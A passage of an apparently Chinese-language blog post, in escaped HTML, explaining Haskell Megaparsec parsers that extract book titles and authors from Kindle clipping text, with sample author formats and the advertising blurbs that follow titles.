&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pSecond &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; eol &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; eol&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果没有特殊处理，会生成“24&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;xx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;xx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;xx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒”的奇怪时间，在格式化输出时会输出一分钟不止六十秒的结果。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pAuthor&amp;#39;&quot;&gt;pAuthor&#x27;&lt;&#x2F;h3&gt;
&lt;p&gt;Parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;标题和作者是最难的部分：因为标题和作者之间的广告词，以及作者本身格式不统一。在最初写程序时我直接不分割标题、作者，把第一行直接记录成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;title_author&lt;&#x2F;code&gt;，等其他&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都写完并测试无误了才转过头去写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pTitle&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pAuthor&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分别&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;标题和作者。&lt;&#x2F;p&gt;
&lt;p&gt;前面介绍的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都有两项工作：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Parse &lt;code&gt;Clipping&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类型的某个组成部分；&lt;&#x2F;li&gt;
&lt;li&gt;消耗但舍弃掉文本剩下的垃圾字符。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;但是对于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pTitle&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来说，判断哪些是垃圾字符需要能够识别作者，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pAuthor&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中同样需要识别作者的部分。所以我将“parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;作者，但不匹配作者后面垃圾字符”的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;单独抽了出来，命名为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pAuthor&#x27;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;因为作者的格式确实很多，所以先容我列出一些例子：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;((德)沃尔夫冈·希弗尔布施)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(［苏］帕斯捷尔纳克)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;([巴西] Luciano Ramalho)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;([美]詹姆斯·罗姆（James Romm）)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(【日】支仓冻砂)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(诺姆·乔姆斯基(Noam Chomsky))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(赫尔曼·黑塞（Hermann Hesse）)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(彼得•梅尔)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(Drew Neil 尼尔)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;……&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出，作者名被包在半角括号之间，有些作者名前有任意括号包住的国家名，有些作者名后有任意括号包住的原名。其实还有不符合这种描述的，但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;82&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;本书里只有两本不符合，所以我就忽略它俩了。&lt;&#x2F;p&gt;
&lt;p&gt;对于可有可无的空格，我们可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;hspace&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;描述；对于可有可无的其他部分，则用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;optional&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数去描述。所以我们可以把上面的作者格式翻译成如下代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pAuthor&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser Text&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pAuthor&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; T.&lt;&#x2F;span&gt;&lt;span&gt;strip &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; optional nation &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; name &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; optional origName &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; hspace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  where&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    name &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; takeWhileP &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Just&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;作者名&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;\&lt;&#x2F;span&gt;&lt;span&gt;c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;=&lt;&#x2F;span&gt;&lt;span&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;（&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;=&lt;&#x2F;span&gt;&lt;span&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;）&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    nation &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      choice&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        [&lt;&#x2F;span&gt;&lt;span&gt; between&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;          between&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;（&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;）&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;          between&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;          between&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;［&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;］&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;          between&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;【&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;】&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;        &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; hspace&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    between&amp;#39; open close &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;char open &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; takeWhileP &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Just&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;国籍&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;=&lt;&#x2F;span&gt;&lt;span&gt; close&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char close&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser Text&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    origName &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; name &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;|&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; char &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;（&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; name &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;）&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Megaparsec&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有负责&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开闭括号之间内容的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;between&lt;&#x2F;code&gt;，但那个函数并不使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Text&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类型，所以我写了自己的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;between&#x27;&lt;&#x2F;code&gt;。&lt;code&gt;T.strip&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是因为有些作者中文名和原名之间有空格，我们需要把空格去掉。&lt;&#x2F;p&gt;
&lt;p&gt;其实我最开始的思路是写一个递归&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;所有括号之间内容的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser，但那样描述出的语法不够贴切，所以最后采用了这种比较机械的方法。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pTitle&quot;&gt;pTitle&lt;&#x2F;h3&gt;
&lt;p&gt;有了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pAuthor&#x27;&lt;&#x2F;code&gt;，我们就可以判断哪里是标题和作者之间的广告词：先匹配到半角开括号之前。然后每匹配一个字符都尝试下剩下的字符串能不能匹配上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pAuthor&#x27; &amp;lt;* eol*&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;作者紧跟着换行&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，能就停止，不能就回溯然后继续。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;junks &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  takeWhileP &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Just&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;作者前的垃圾话&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; manyTill anySingle &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;try &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt; lookAhead &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; pAuthor&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; eol&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;try . lookAhead&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的意思是匹配成功失败与否都不消耗字符串（都会回溯&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，单独使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;try&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的话成功会消耗字符串，单独使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;lookAhead&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的话失败会报错。另外啊，之所以匹配到半角开括号之后还要继续尝试是不是到作者了，是因为有这么一个广告词以半角开括号开始，全角闭括号结束的例子：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;希腊罗马神话(古典学学者写给大众的神话小书，追溯古希腊罗马神话的前世今生。） (菲利普·马蒂塞克)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一般的广告词以各种开括号和全角冒号开头：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;从一到无穷大【爱因斯坦亲写推荐语、20世纪的科普经典！《浪潮之巅》、《文明之光》作者吴军博士力荐！】 (乔治·伽莫夫)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Docker实践（异步图书） (伊恩·米尔(Ian Miell))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;世界美术名作二十讲：有人通过此书欣赏世界，有人通过此书寻找本心。傅雷经传世之作，打开艺术鉴赏之门。全新修订，彩色典藏版。 (傅雷)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以我们可以用那些符号做标题的终止符，再配合前面定义的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;junks&lt;&#x2F;code&gt;，完成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;标题及其后广告词的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pTitle&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pTitle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser Text&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pTitle &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; T.&lt;&#x2F;span&gt;&lt;span&gt;strip &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; takeWhile1P &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Just&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;标题&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) (&lt;&#x2F;span&gt;&lt;span&gt;not &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt; isTitleEndMark&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span 